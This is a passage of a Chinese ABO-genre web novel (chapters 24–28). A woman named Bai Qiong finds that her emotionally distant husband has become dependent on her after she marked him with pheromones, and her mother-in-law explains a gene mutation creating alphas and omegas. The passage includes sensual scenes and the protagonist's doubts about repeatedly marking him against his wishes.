至少对于白琼,她无法抗拒。 白琼深吸了一口气,抱着一种视死如归,迎颈待戮的心态简单收拾好东西,给杨清容发了个消息便从她的别墅离开了。 傍晚七点十分,她回到了家。 白琼站在门外,手抬起又放下,反复几次后她咬了咬牙,豁出去准备敲门接受审判—— 门却先一步打开了。 开门的是苏芸,向来对外都是优雅得体面貌示人的苏芸女士几日不见,整个人疲惫得她都不敢认。 女人眼下青黑,靠着门边,手上夹着一根烟,深吸了一口。 吐出的不光是烟雾还是她心头的浊气。 “妈……” “回来了?” 苏芸又吸了一口烟,两口就让香烟燃了半截。 “回来了就进来啊,我从监视器看你半天了,杵在门口当门神啊。” 白琼依旧没动,嗫嚅着嘴唇:“那照片是……” “是真的,不信你可以自己上楼去看。” 苏芸也不等她说完便接话,然后噼里啪啦说了一大堆:“我知道这很难以置信,你以为我就摸得着头脑了吗?你离开主宅的那天人除了有点虚弱外也没什么异常,到了晚上他突然发烧,烧到了四十度,给我吓够呛,到了第二天烧退了,但人也疯了,闹着要回家,说你还在家里等着。” “我当时和你一个反应,觉得他是想回去找你算账,于是一个劲儿拦着他。不过没成功,今天下午我一个不留神没看住他就跑出来了,鞋子都忘了穿。等我到这里来的时候我去他书房,卧室找了一圈都没找到人,最后在你衣柜里找到了,人躲在里面缩成一团,哭得都要脱水了。看到我后因为没找到你迁怒到我身上,觉得是我把你赶走的,恶狠狠威胁我说让我把你找回来,不然他就去他爸那里揭露我的真面目。说什么我让他没老婆,他就让我没老公。” 苏芸说到这里差点儿气得把烟头咬断:“这狗崽子,真是白养了,威胁人都威胁到他老娘头上了。” “事情来龙去脉我都给你说了,还有什么疑问的吗,要是没有疑问就上去看看他吧,他刚哭晕过去,一会儿醒来要是还看不到你我怕他再拉着我跳楼。” 白琼:“……” 信息量太大,大到白琼完全没办法消化。 她拿出手机看了下日期,确定了今天不是四月一号愚人节,又看向苏芸女士手臂上的抓痕,听她说这是顾厌迟试图和她同归于尽的杰作。 谁都有可能拿这种事情和她开玩笑,唯独苏芸女士不会,她做不出这种让人满怀期待又落空的杀人诛心的事情来。 因为她也和自己一样深爱着自己的丈夫,且这段感情都是她们强行求来的。 苏芸女士或许讨厌她,觉得自己挟恩图报配不上顾厌迟,可唯独不会轻贱她对顾厌迟的感情。 白琼最终什么也没问,带着一种不真实的踩在云端的荒唐感,在女人催促下脚步虚浮地上了楼。 先前进门的时候白琼就闻到了空气中苦艾的气息,当她推开卧室门,比外面还要浓烈数十倍的气息如凛冽的寒流扑面而来,苦涩的滋味让她差点儿失去表情管理。 而在苦涩之下,是铺天盖地的痛苦。 白琼也不知道自己怎么能通过气味感知到情绪的,可她就是知道,知道气息的主人此刻有多煎熬绝望,有多么渴求着安抚。 她看着紧闭的衣柜门,不自觉屏住了呼吸。 白琼轻轻打开了衣柜门,眼前的画面和那张照片如出一辙,男人看上去甚至还要更加脆弱可怜。 她蹲下来,静静注视着他。 很神奇的,先前起伏跌宕的情绪在真正看到对方的瞬间反而如镜面一样毫无波 澜。 白琼依旧是疼惜的,自己深爱的人流露出这样狼狈的惹人怜爱的模样,她不可能毫无触动。 但更多的是一种一切尘埃落定的平静。 白琼的目光只在那张俊美如俦的脸上停留了一秒,往下,落到了他的脖颈上。 冷白的皮肤上她留下的痕迹清晰可见,红痕斑驳暧昧,有一种凌虐的美感。 但她的目光只直勾勾落在了他颈侧软肉处的那个牙印上,上头琼花的浅淡香气却比满屋子的苦艾的存在感还要强烈。 他终于属于她了。 潜意识里一个声音这么告诉她,笃定且傲慢。 如果这时候苏芸在旁边的话,一定会惊讶地发现白琼的变化,她的眼神在看向顾厌迟的时候不再是那种近乎偏执的迷恋,而是一种对所有物的独占欲。 白琼不受控制地伸手,用指腹摩挲着男人颈侧的印记,她的力道很轻,轻到像羽毛拂过。 可即使如此顾厌迟的反应也很大,在碰触的瞬间他身体发颤,从唇齿间发出难耐的闷哼。 白琼以为弄疼他了,下意识想要收手,顾厌迟猛地睁开了眼。 他双眼赤红地看着白琼,眼中带着白琼看向他时候的灼热疯狂。 只是白琼之前是竭力压制着的,顾厌迟却暴露无遗。 白琼被他过于露骨的眼神给烫到了,本能想要避开,男人的手却先一步捧上了她的脸。 密密麻麻的吻落了上来,嘴唇的滚烫,泪水的湿润,苦涩到窒息的气息,最后前往她唇齿间灌来。 先前在电话中有些失真的哭喊变成了细碎的呜咽,像奄奄一息的小兽濒死前的哀求。 “老婆,呜呜,我会乖的,我会听你的话,我会比你爱我更爱你,百倍,千倍的爱你,哪怕你不爱我也没关系,求你,呜呜,求你别离开我,别不要我。”—— 作者有话说:给没看过ABO的宝解释下,顾厌迟不是突然爱上了,是被标记了。目前在信息素影响下完全变成了恋爱脑,在标记消失之前他都这副离了女主会死的德行。 第25章 白琼怔怔看着顾厌迟, 还是那张脸,却陌生的让她不敢认。 他看上去很憔悴,也很狼狈, 从来打理的一丝不苟的头发现在乱糟糟的, 冷冽深邃的从来都是给人带来压迫感的眉眼此刻全都是患得患失的不安和依恋。 尤其是那双眼睛, 那双泪如泉涌的眼睛的主人竟然是顾厌迟。 白琼萌生出了再给自己一巴掌的想法, 不过她还没有来得及付出行动, 一滴滚烫的液体砸在了她的脸颊。 她睫毛颤了颤,抬手碰触了下, 看到指尖的晶莹才后知后觉意识到那是什么。 “老婆,我错了, 你不要不理我,呜呜, 我真的错了,你不要不要我, 呜呜。” 她恍惚了好一会儿,脑子混沌,嘴也有些口不择言。 “这是……鳄鱼的眼泪吗?” 顾厌迟没听清白琼的喃喃自语, 那张糊满泪水的脸急切地凑了上去。 “老婆你刚才说话了吗, 你愿意和我说话了吗,你说什么, 我,我没听到, 你可以再说一遍吗?” 他的语气期待又忐忑,好像听她说上一句话便是如蒙大赦的恩典。 白琼张了张嘴:“……没什么。” 就像白琼很少进入顾厌迟的卧室一样,后者也几乎从未进入过她的房间。 夫妻两生活在一个屋檐下,却成了最亲密的陌生人。 以前顾老爷子曾经暗示她要主动, 说顾厌迟就是个不开窍的,她要是不主动的话他们两个的关系永远也不可能会有突破性的进展。 那时候顾厌迟刚参加了A大的同学聚会,别的同学有伴侣的基本上都带上了,唯独顾厌迟是只身一人去的。 本身他们两人结婚的事情知道的人就少之又少,白琼也从未真正进入过顾厌迟的社交圈,因此好多人都以为他还是单身,那段时间出现了不少打着老同学的名义接近他的女人。 即使后面顾厌迟告知了她们自己已经结婚了,她们依旧不信,以为这只是男人为了拒绝她们胡诌的借口。 这导致白琼内心很不安,觉得自己的位置随时都有可能被外人鸠占鹊巢。 因此在顾老爷子的鼓励下,白琼破天荒的找杨清容参谋,买了一套露骨的不行的情/趣内衣。 那是白琼头一次鼓起勇气在没有得到男人的允许进入了他的房间,钻进了他的被窝。 她就像是一个等待着被宠幸的妃子一样,紧张,期待,更是带着害怕。 当顾厌迟掀开被子准备休息的时候,在看到出现在自己床上的白琼脸色是从未有过的难看。 他咬牙切齿骂她不知廉耻,怒不可遏的把她赶出了房间,并警告她要是还有下次他会考虑这段婚姻还有没有再继续下去的可能。 白琼至今都还记得自己当时狼狈难堪的样子,她简直羞愤欲死,再也没生出这样引诱他的念头。 现在情况似乎完全反过来了,顾厌迟成为了那个主动进入她房间引诱她的人。 白琼蹲在衣柜前,顾厌迟怕她再离开用手臂紧紧把她圈在怀里,结实滚烫的胸膛下心跳有力地跳动着,一下比一下强烈,耳畔的呼吸也一下比一下灼热粗重。 “老婆,老婆。” 以前做梦都想要听到的称呼此刻像是不要钱的一个一个送。 听得她都有点无感了。 白琼把那颗一直埋在她颈窝哭嚎的脑袋推开,问出了她从刚才开始最想要问的一个问题。 “这么多地方为什么非要往我衣柜里钻?” 顾厌迟吸了吸鼻子,红彤彤的眼睛像兔子一样,“因为这里面有老婆的味道。” 白琼一愣,但也不是惊讶,只是意外这个回答,毕竟他都已经做了那么多堪称震碎三观的事情来了,再多一件也见怪不怪。 只是…… “我的味道……是什么味道?” 顾厌迟抓着白琼推着他脑袋的手,把脸顺势放在她掌心深吸了一口,眯了眯眼睛道:“很香的味道,只有老婆你才有的味道。” 说了跟没说一样。 不过白琼大致上知道自己身上有什么味道这么吸引他了,不是洗涤剂的味道,也不是香水的味道,而是琼花。 就在刚才,在顾厌迟扑进她怀里,气息喷洒在她脖颈的时候刺激出了一缕花香,也是白琼一直以来在热潮出现时候努力去抓住,却因为意识混沌无法分辨的香气。 白琼不是傻子,一个人前后这样大的反差不可能毫无缘由。 十有八九和这些突然冒出来的气息有关。 就像自己被顾厌迟的气息吸引一样,后者也开始在慢慢被她的气息吸引着。 但她们又并不全然一样,白琼不是仅仅基于这个无法抗拒的气息才爱他,而是因为爱他才会爱屋及乌,觉得这苦涩的让人眉头紧皱的味道也那么好闻。 而顾厌迟只是单纯被她的气息影响了。 她在热潮褪去后会重获理智,白琼想他也会在热潮褪去后恢复正常。 然后重新变回那个冷漠的,拒她于千里之外的顾厌迟。 “嗯,老婆……” 男人的脸埋在白琼的手中,湿热的唇齿间发出难耐的闷哼,这声音将她从紊乱的思绪中拉了回来。 “我好热,好难受,我想……想你亲亲我,可以吗?” 苦艾的气息又浓了几分,男人的体温也陡然攀升了几个度。 作为近些年饱受热潮困扰的人来说,白琼对热潮的症状再清楚不过。 白琼没想到顾厌迟也和自己一样出现了这种奇怪的热潮,也正是因为是相同的情况,所以她推己及人的知道该如何应对。 就像每次热潮来袭时候她疯狂渴求着顾厌迟,此刻的男人也这样渴求着自己。 上次在主宅的时候白琼只依稀记得她咬了顾厌迟,其中细节她几乎全然不知,这次却不同了。 她很清醒,对于接下来会发生的一切她都能全然烙印在脑海里。 白琼咽了咽口水,在顾厌迟迫切的眼神下试探着,笨拙的在他额头落下一吻。 顾厌迟眼睛一亮,先前还克制着怕她生气,在得到她的亲吻后像一只把尾巴摇成螺旋桨的金毛,热情地捧着她的脸吻了上去。 两人都没有什么经验,白琼感受到两片湿热柔软贴上来的瞬间猛地睁大了眼睛,紧接着苦艾的气息从因惊讶而微张的唇间见缝插针地钻了进来。 苦涩的滋味让白琼舌尖下意识往后缩,顾厌迟却被这个她本能的动作给刺激地红了眼。 “别,别怕,别躲,我不亲了,不亲了。” 顾厌迟喘着气保证,急切的恨不得将她拆吃入腹的吻如同停滞在半空的洪水,看着没有倾覆下来了,可随时都有落下的危险。 热潮不光是要将血液炙烤到蒸发的温度的折磨,还有欲望找不到出口发泄的时刻要爆炸的痛苦。 他的胸膛剧烈起伏着,单薄的衣料下肌肉的肌理和走向一清二楚。 紧绷的下颌,暴起的青筋,涨红的皮肤上沁着汗珠,顾厌迟整个人如同一块浸在油里的红玛瑙,艳得逼人。 这副样子又熟悉又陌生,在瞥见男人眼尾的那抹压抑的绯红的刹那,电光火石之间,一张脸浮现在了他脑海。 就像沈霁一样。 不过是醉酒的沈霁。 两人有着不分伯仲的好样貌,可却是天差地别的类型,顾厌迟五官冷硬俊朗,沈霁则是那种美的雌雄莫辨的类型。 一刚一柔,完全没办法比较。 白琼在之前也绝不会想到自己会盯着顾厌迟的脸看出沈霁的影子,只是此刻她却觉得他们两人其实也没什么不一样。 在意识不清的时候,他们都会褪去或伪装或疏离的假面,变成这副任人予取予夺的模样。 白琼抚摸着顾厌迟的脸,他的脸蹭着她的手,漆黑的眼瞳直勾勾注视着她,带着毫不掩饰的情欲。 即使没有出现热潮,被自己喜欢的人这样目光灼热地盯着,她也很难无动于衷。 琼花的气息被煽动着溢出,顾厌迟喉结滚了滚,微微张开了嘴。 这个邀请的近乎明示的动作让白琼愣了下,忘了动作。 后者以为自己表现得还不够明显,又张开了一些。 唇齿之间的舌似在夜里亮起的一簇猩红火苗,火舌燎过,又热又烫。 白琼呼吸乱了一分,红着脸低下头,只是顾厌迟比她先一步这样做了。 只是他低得更下,更急。 在白琼觉察到他的意图后瞳孔一缩,惊呼出声:“不是,等……?!” 白琼猛地抓住他的头发,想把人拽开,被汗水濡湿的头发从她指缝间溜走。 她眼前的光景一下变得一片空白,像突然没了信号只剩下滋滋电流声的对话机在响,脑子空了,耳朵也什么都听不见了。 满脑子只刷屏了两个字。 疯了。 真是疯了—— 作者有话说:白琼:懂了,索吻。 下一秒。 白琼:?ber??? 第26章 白琼把手从顾厌迟的脑袋上拿开, 撑在两边维持着有些摇摇欲坠的身体。 琼花的香气混着苦艾,清甜和苦涩交织在一起,强烈冲击着她的感官。 先前如何也回忆不起来的细节此刻拨云见雾, 慢慢展露出来, 和现实正在发生的一切重叠在了一起。 男人喘着气抬头看她, 高挺的鼻梁在灯光的映照下晶莹一片, 眼睛也是亮晶晶的, 里面是满溢的欲望和情愫。 “老婆。” 他在叫她,用喑哑的甜腻的声音, 满心满眼都是她。 白琼脑子里有什么啪嗒一下断了,脖颈传来灼热的刺痛, 这点儿程度倒是可以忍受,只是心头蠢蠢欲动的迫切让她忍不住把人用力推倒。 男人的后背重重砸在衣柜, 挂起来的衣服掉落了几件,把他的脸遮掩。 他顾不上疼痛, 慌忙把衣服扯下来,在视野再次看清白琼的脸后他一下子安心了,露出了一个有些傻气的笑来。 她的目光头一次没有任何收敛, 直白地注视着男人, 一寸一寸描摹着他的眉眼,在被她视线游走的地方绯红变成了更为艳丽的颜色。 白琼欣赏着男人因为自己露出的惹人怜爱的模样, 心头的蠢蠢欲动蔓延到了身体,她的牙齿痒的厉害。 她还没搞清楚自己想要干什么, 清甜的香气比她身体更快地溢了出来,丝丝缕缕,如同蛛网笼罩了过来。 但她没有束缚猎物,是猎物自投罗网。 苦艾的气息一直克制着不敢轻举妄动, 在感受到白琼的主动后急不可待地覆了上去,甘愿被蛛网缠绕,收紧。 男人那双发红的眼睛带着饮鸩止渴的痴迷,迷离地看着白琼,剧烈起伏的胸膛下跳动强烈的心脏似乎是在呼救,又像是在渴求。 她们都被彼此给影响了,不管不顾的想要将彼此拉拽到深不见底的深渊。 她咬上了那块还带有印记没有消散的地方,发痒的牙齿碾磨着,加深着,琼花的气息从里到外冲刷了一遍又一遍。 许久,白琼松开口,垂眸看向不知何时昏迷过去的男人。 脖子上的印记红的滴血,被汗水和泪水濡湿的头发粘在他的脸颊,他就这么衣衫不整,凌乱不堪地睡在了她的衣柜,被她的气息所笼罩着。 这两天一直无法得到安抚的身心在一刻似久旱后被雨水灌溉的草木,雨过天晴之后,终于得以餍足地施展。 与此同时苦艾的苦涩褪去了大半,只有倾覆在其上的琼花的清甜。 和上一次不同,这一次她是清醒的,没有放过一丝一毫的细节,彻底的在他身上烙印下了自己的印记。 他终于真真正正成为了她的所有物。 白琼深深看了他一眼,弯腰把他从衣柜里抱出来。 她把他带到浴室简单做了清洗,又重新换上了一套睡衣,抱着他上了床,搂着他餍足地睡下了。 这一夜她睡得很香,没有做什么奇怪的梦,只有满屋属于他们彼此的气息萦绕在鼻翼之间,让多年患得患失的心绪得到了短暂的平静和安宁。 大约是多年执念得以成真,白琼放松过了头,生物钟少有的失了灵,直接睡过了头。 等到再次睁眼的时候天已经大亮,再一看时间,时针竟然快指向了十点。 白琼垂死病中惊坐起,急忙洗漱好换好衣服下了楼。 “醒了?” 苏芸女士听到动静,掀起眼皮一看,视线落在女人脖子上的暧昧痕迹眉头一皱。 白琼也注意到了,红着脸上去拿了条丝巾围上,再下来的时候尴尬得恨不得找个地缝钻进去。 “……妈,您昨天一直在这儿吗?” 苏芸喝了口咖啡,道:“你想多了,我还没有变态到听你们干那档子事的癖好,昨晚上厌迟我听到厌迟说什么让你亲他要帮你舒服……” 她战术停顿了下,“然后我就离开了。” 白琼扯了下脖子上系着的丝巾挡了下脸,声音闷闷道:“那您怎么还在这儿?” 苏芸没好气道:“你以为我愿意回来?还不是为了厌迟,我怕他再发疯。对了,他人呢,怎么还在屋里?” 白琼含糊道:“他这几天似乎没怎么休息 好,还没醒。” “呵,我看他不是没休息好,是又被你给榨干了吧。” “妈。” 白琼没想到苏芸说话会那么直接,就算不给她面子也好歹给她儿子一点面子吧,被女方给榨干什么的多有损男人的自尊呀。 苏芸看她脸皮薄,嘟囔了句“不中用的东西”后也没揪着这个事情不放,微微抬了下下颌,示意白琼坐下。 白琼瞥了一眼餐桌上的早餐,道:“妈,我上班已经迟到了,我得尽快赶过去来不及吃早饭了。” 苏芸道:“你今天不用去了,一个小时前给校长打了个电话帮你请了个假。” 白琼以为对方帮她请假是不放心顾厌迟,怕顾厌迟离开自己又出现之前的状况,于是了然道:“那我回房吃吧,不然万一他一会儿醒来见不到我肯定会很不安的。” “你不会真的觉得他是因为见不到你才变成这副样子的吗?” 女人冷不丁的一句话让白琼神情一僵,那双平日里故意收敛的眉眼此刻带着如冰的凛冽,但这并不是针对白琼,只是单纯就事论事的不满。 白琼垂在两边的手不自觉攥紧,她不是傻子,一个人前后变化这么大说其中没什么问题鬼才信。 可她拒绝去探究真相。 只要他都属于自己就行了,没必要那么追根究底,不是白琼洒脱,而是因为她抗拒那个真相。 那个顾厌迟并不爱她的真相。 所以她选择了逃避,闭目塞听的自欺欺人。 她垂下眼眸,声音轻的几不可闻。 “我还没有自信到那个份上,而且原因什么对我并不重要,只要他现在真的需要我,这就够了。” 空气陷入了很久的沉默,苏芸女士叹了口气,将两沓资料扔了过来。 白琼眼眸一动:“这是?” “厌迟近五年的体检报告,还有明台的。” 顾厌迟的也就算了,怎么还有顾明台的? 苏芸“啧”了一声:“让你看就不看,我的老公我都不介意你介意个什么劲儿?” 白琼这才拿着资料翻看了起来。 她先看的是顾厌迟的,而后再看了顾明台的。 只看前者除却几项有些异常的数据外并没有别的什么问题,可对比起来看就有些耐人寻味了。 苏芸见她注意到了,点了根烟吸了一口,这才沉声道:“看来你也发现了,他们异常的数据是相似的。如果只是大致的起伏相似也就算了,可他们连细胞活性,激素什么都一致,这就很说明问题了。” “而且我之前私下就偷偷去查了下厌迟的那个研发退烧药的医药公司,发现了那不是什么退烧药,而是专门压制热潮的药剂,他应该很早之前就知道这不是普通的发热了。” “不仅是他们,还有极少一部分人也出现了这种奇怪的热潮,身体也发生了类似的变化,因为太过特殊,尚且还不知道原由,这些人的检查数据都被集中收集起来进行了比较。检查结果显示,这些人的基因出现了异变,异变的基因被命名为alpha基因和omega基因,简称A基因和O基因。且两者互相吸引,和异性相吸一个道理,不过携带A基因和O基因的有男有女。” “异变成前者的人身体素质通常会变强,后者则相反,但他们的感知能力都有明显的增幅,有的甚至可以听到五十米外鸟扇动翅膀的声音,且他们的脖子处都长出了一块东西,会像动物一样分泌出独特的信息素,你可以理解为荷尔蒙,但又和荷尔蒙不大相同,因为它不仅可以像动物一样标记伴侣,还具有很强的攻击性。这很科幻,事实的确如此。” 苏芸抖了下烟灰,伴随着这个动作,一道逼仄的无形威压释放而出。 “就像这样。” 几乎是在威压释出的瞬间,白琼的信息素条件反射的也压制了过来。 苏芸有些意外地挑了挑眉:“可以啊,在录入的数据库里我的信息素可是第一序列的,你竟然承受得住。” “不过不是所有的信息素都具有这么强的攻击性,携带O基因的人,比如厌迟还有明台,他们只有被我们压制的份。所以白琼,我们是不一样的。” 面对苏芸的夸奖白琼毫无感觉,她脑子里被巨大的信息给充斥着,试图理解,但失败了。 “这到底是怎么回事?什么A基因O基因的,我完全不知道你在说什么?” 苏芸冷哼了声,“还不明白吗?一个两个或许是巧合,这么多人都出现了这样的情况那就是必然了。” “基因的变异,这不是外在环境的一时改变,而是内在结构的彻底洗盘。” “优胜劣汰,适者生存。这是进化。” 苏芸勾了下唇角,神情带着兴奋和愉悦。 “而很明显白琼,我们是胜者。”—— 作者有话说:唉,改了又改才出来,凑活看吧。 第27章 顾厌迟比白琼想象中的更依赖自己, 尽管这或许是苏芸所说的信息素在作祟。 “不是所有的alpha和omega之间的信息素都像你们这样有着强烈的吸引力,恭喜你,你和厌迟的契合度很高, 简而言之就是你们很配。” “明台在家宴前夕也出现了热潮, 我标记了他三次, 但都没有你标记厌迟一次来得效果好, 不过次数越多他对我的依赖性也强, 相反的我对他的需求反而没那么强烈了。这也是我们alpha比omega高等的表现,即使互相吸引, 我们也完全掌握着主动权。” “白琼,这是个好机会。趁着厌迟此刻被信息素影响, 疯狂迷恋你的时候尽可能多标记他,让他不光是身体, 连灵魂都记住你的气息,这样他就永远离不开你了。” 她说这话的时候神情很兴奋, 眼睛里迸射的野心和欲望让人脊背发凉。 苏芸不知道自己当时说那番话的表情,简直就像是一头长期收敛着爪牙被困在笼子里,快要没了野性被驯服的野兽突然挣破牢笼重见天日, 急不可待想要咬破猎物的喉咙, 茹毛饮血,大快朵颐。 理性在女人因为情绪起伏过大而骤然溢出的信息素中渐渐消失, 取而代之的是一种返璞归真的野性,兽性。 这真的是进化吗? 白琼在她的结论后面打了个大大的问号。 而且苏芸女士调查得到的这些资料太片面了, 拥有A基因进化成alpha的人群在力量上的确于携带B基因的omega有着压倒性的优势,可她太小看omega了。 omega的信息素比之alpha来说的确更柔和,且没什么攻击性,但对alpha却有着致命的诱惑力。 如果要形容的话alpha是一把见血封喉的刀, 轻而易举就能将人开肠破肚,杀伤力十足,那omega就是水。 水能覆盖,缠绕,浸没刀,刀却无法真的将水斩断。 极致的柔又何尝不是极致的刚? 可能基因异变的前期还不稳定,每个omega的热潮期也不尽相同。 苏芸女士说顾明台的热潮期持续了快一周才真正消退,顾厌迟正是血气方刚的年纪,可能持续的时间会更久。 在热潮消退后顾明台对苏芸的态度明显要冷淡许多,这让苏芸有一种被用完就扔的既视感,这让她很不爽,于是她在对方热潮褪去的当晚再一次标记了他。 他又再次恢复了对她的热情。 苏芸女士聊起这件事的时候语气有些自得又有些自嘲,燃起的香烟升起一缕又轻又长的烟雾,吹一口气就能散,像他们靠标记维持的感情一样脆弱不堪。 “男人当了几千年的上位者当习惯了 ,如今突然被女人压在了头上,还是像明台这样要强的,要是不这样他估计一辈子都不会让我碰,更何况他还看到了我真实的模样。” 她看似在说她和顾明台,实则也在点白琼。 顾明台要强,顾厌迟又何尝不是,甚至青出于蓝胜于蓝。 这对于他来说简直是奇耻大辱,别说不会让她碰了,可能再也不会回家也说不定。 而明天就是第七天,也是顾厌迟热潮可能消退的日子,苏芸的话在白琼的脑海中盘旋。 她真的要罔顾他的意愿,一直不停地标记他,让他永远都陷入对自己虚假的迷恋吗? 白琼内心天人交战。 而在这一周内鹿港还发生了一件大事,市中心爆发了集中性热潮,一个omega在上班搭乘地铁途中出现发热,导致周围部分基因异变者被波及,那画面实在糜烂不堪。 如今所谓的“进化论”成为了如今空前火热的讨论话题。 检测出携带A基因的人觉得自己中了基因彩票,一跃成为了人上人,而检测出携带O基因的人有的接受良好,有的如丧考妣,尤其是男性,这种不光是社会地位和生理上的逆转让他们一时半会儿很难接受。 大部分人没有出现腺体,也没有信息素,还是普通人。 但某种程度上来说他们才是最不普通的,因为没有热潮期,这意味着他们不会受到身体上的折磨,没有信息素,就不会被失控的本能控制。 这类人被专家们称之为beta。 白琼打开电视看了下新闻,每一个频道基本上都在报道这次进化事件,同时进行热潮期,信息素和标记方面的知识普及。 目前绝大多数人都排斥用标记来压制热潮期,强烈要求科学家们尽快研究出相关药物缓解热潮期的痛苦,警方更要加大警力,维护社会治安的稳定。 集体性发热事件是在白琼请假的隔天早上发生的,学校又是人群集中的地方,因此为了保护学生安全,一中的领导当机立断选择了放假,如今白琼居家办公。 她看了一会儿电视,没看到什么新的需要注意的消息,于是关了电视,拿出电脑开始准备教案和批阅作业。 白琼刚打开电脑没多久,顾厌迟便从楼下上来了。 他穿着一件黑色真丝睡袍,领口敞开着露出结实漂亮的胸膛,上面红痕斑驳,性感而暧昧。 也不知道是顾厌迟这二十五年压抑太久,一朝开荤食髓知味,还是单纯受热潮期的影响,这几天只要是他清醒的时候总是勾缠着她要个不停,白琼拿他没办法,对他有求必应。 这也导致现在男人腿都是软的,楼上到楼下就那么两段楼梯,他竟然还要撑着扶手才能顺利走下来。 在还差最后两阶的时候,顾厌迟看见白琼起身走了过来,弯着唇角,想也没想地朝着她伸出手臂。 “老婆,抱。” 白琼无奈的过去把人轻轻抱了下来,又扶着他坐好。 她的手放在他劲瘦的腰上揉了揉,“不是让你好好休息吗,有什么需要叫我上去就行。” “我想你了。” 男人亲昵的用脸蹭了蹭白琼,鸵鸟依人的把脑袋靠在她肩上。 “你呢,你想我吗老婆?” 热潮期的顾厌迟实在黏人得不行,嘴巴也甜得发腻,张口闭口就是爱你想你这样的情话,饶是白琼这几天耳朵都听出茧了,可每当他用那双含情脉脉的眼睛注视着自己的时候她还是有些难为情。 “……嗯。” “嗯是什么意思?老婆,我笨,我听不懂。” 顾厌迟眨巴着眼睛,那张俊美到凌厉的面容显露出稚气的娇憨。 白琼被他逗笑了,低头亲了亲他的额头。 “这样明白了吗?” 顾厌迟嘴角明明已经快翘上天了,偏偏还在嘴硬:“不明白,你再亲亲我我才能明白。” 他又凑近了些,闭着眼睛,睫毛紧张又期待地颤抖着,近乎虔诚的把嘴唇往白琼面前送。 白琼却没有盯着他的嘴唇看,而是往下落到了他的腺体。 那里遍布着凌乱粗暴的咬痕和吻痕,充值着欲念的痕迹,唯独少了爱的温情。 她眼眸闪了闪,低头吻了下那里,轻柔的,像羽毛肤拂过,却比任何亲吻给予他的快感还要强烈。 顾厌迟的身体不受控制颤了颤,眼睛猛地睁开,里面的情欲烫得白琼呼吸一窒。 苦艾的气息蔓延,她再一次标记了他。 标记完,在男人靠在她身上餍足地眯着眼睛在她脸上依恋地啄吻后,白琼心里想道—— 在下次热潮期到来之前,他可能都没办法离开她了。 她紧紧抱住他,安心的同时又莫名感到迷茫。 以至于手机响了很久她才发现。 等到白琼摁了接听,听到那边传来顾厌迟秘书的声音后她一愣。 “那个顾总?请问您有听到我在说话吗?” 许久没得到回应的秘书有些忐忑,小心翼翼询问。 白琼低头看了眼靠在自己怀里还没从信息素的余韵中缓过来的男人,加上他这几天嗓子都叫哑了,这时候实在也不适合接听电话。 “……厌迟他现在不大方便接电话,你有什么给我说吧,我一会帮你转达。” 秘书犹豫了下,这才道:“是这样的,公司研发的领域Pro运动手表前段时间市场部一直在挑选代言人,如今已经定下了初步的人选,不过最终合不合适还需要看顾总,所以想询问下顾总什么时候有空,我们好安排时间让他过来让顾总见一面。” 顾厌迟的情况并不稳定,热潮虽然已经靠压制住了,信息素却很紊乱,时不时就有溢出。 而且他现在这副样子估计也不好出门。 虽没明说,但一向全年无休,风雨无阻来公司的工作狂一连好几天都不见踪影,加上最近进化事件,秘书他们想不知道原因都难。 秘书见白琼好一会儿都没回复,便知道顾厌迟目前是不大方便来公司的,于是提议道:“要不您问问顾总可不可以让您代替他去看看?这边产品马上就要上市了,一直敲定不了代言人各方面工作也不好推进……” “可是……” “不着急,您和顾总好好商量下,不必现在就给我答复。” 秘书又说了一些最近公司的事情,让她帮忙传达一下后便挂了电话。 白琼开了免提,顾厌迟什么都听见了。 她抿着嘴唇,低头为难地看着他,“厌迟,我……” “这种小事你来定就好,我对代言人没什么要求,只要形象,能力过得去,没什么污点……” 顾厌迟把白琼圈在怀里,脸埋在她颈窝深吸了一口,琼花的香气让他感到安心和迷醉,以至于他说话的声音也慢慢变得含糊起来。 “最重要的一点,要合你眼缘。如果你不喜欢那将毫无意义。”—— 作者有话说:真喜欢了你又不高兴了。 第28章 白琼的存在只有顾厌迟身边的亲信知道, 整个公司上下知道他结婚的人并不多。 他只接受这段婚姻,却并不认可她这个妻子。 这一点白琼从一开始就知道,她也本分老实, 从不会到处宣扬自己的身份。 她怕他生气, 更怕他会像毫无所谓地同意这段婚姻一样, 再毫无所谓地终止。 毕竟他们两人之间无论是感情还是地位, 从一开始就是极端的不平等。 她从未掌握过主动权, 且她觉得只要一辈子不愿意放手这段感情的话,那她永远都没办法在顾厌迟面前抬起头来。 可现在情况不一样了, 角色对调,他比她需要他更需要自己, 比她更患得患失。 “要 不我陪你去吧,我不放心你一个人, 市场部的那些人眼光很挑剔,这个代言人从前两年就开始选了, 到现在才敲定,而且也没有任何备选方案,可见他们对那个人选很有信心……” 白琼对着镜子整理衣服, 身后的人拿着外套递过来, 神情纠结。 “有信心不是很好吗?你们产品马上就要上市了,要是再出岔子可就麻烦了。” 顾厌迟抿着嘴唇, 纠结着要不要继续说下去,可余光瞥见女人促狭的笑意后便有些羞恼地瞪了她一眼。 “你故意的。” 白琼的确是故意在逗他, 顾厌迟虽然受信息素的影响变成了一个非她不可的恋爱脑,可人的性格是不会因此而改变的。 顾厌迟本身就是一个很霸道的人,对人对事都是如此,只要是他的所有物, 哪怕不是他喜欢的认可的,他都不会允许别人染指分毫。 他以前不喜欢她的时候在陪他出席宴会的时候,她没忍住多看了一眼哪个男人或女人,他都会忍不住皱眉。 很微小的一个动作,要不是白琼下意识注意他的神情可能都没办法觉察。 他不是在意她,是不爽一直以来总是停留在他身上的视线被别人夺走。 现在他“喜欢”上了自己,那就更加难以容许自己的目光分给旁人。 白琼装作听不懂他的话,歪头道:“你之前不还说不是我喜欢的毫无意义吗?你这到底是希望我喜欢还是不喜欢?要不我不去了,你找其他高层去吧。” “不行!” 顾厌迟的反应意外的激烈,白琼给吓了一跳。 这时候她才注意到镜子中映照的男人的眼睛什么时候泛了红。 他从后面抱住白琼,将下巴放在她肩膀,闷闷道:“你很想去吧。” 白琼沉默了一瞬,她很意外于对方竟然觉察到了自己隐秘的心思。 “我表现得有那么明显吗?” “不明显,只是我能感觉得到。” 他摸了摸腺体,那里好不容易被安抚下来的信息素又有了躁动的迹象。 “你不开心的时候,或者情绪波动大的时候,这里会很烫,很不舒服。刚才也是。你想去的对吧,想要代替我,以我妻子的身份,想要宣示你的主权。你是带有这样可爱的私心去的,我怎么忍心拒绝呢?” 顾厌迟顿了顿,抱着她的手臂收得更紧了。 “……可我也很矛盾,如果那个人在你那里过关了,我反而不大想他成为代言人了。” “我这样会不会很无理取闹?” 看来这个标记并不只是单方面的烙印,竟然还有感知标记者情绪的功能。 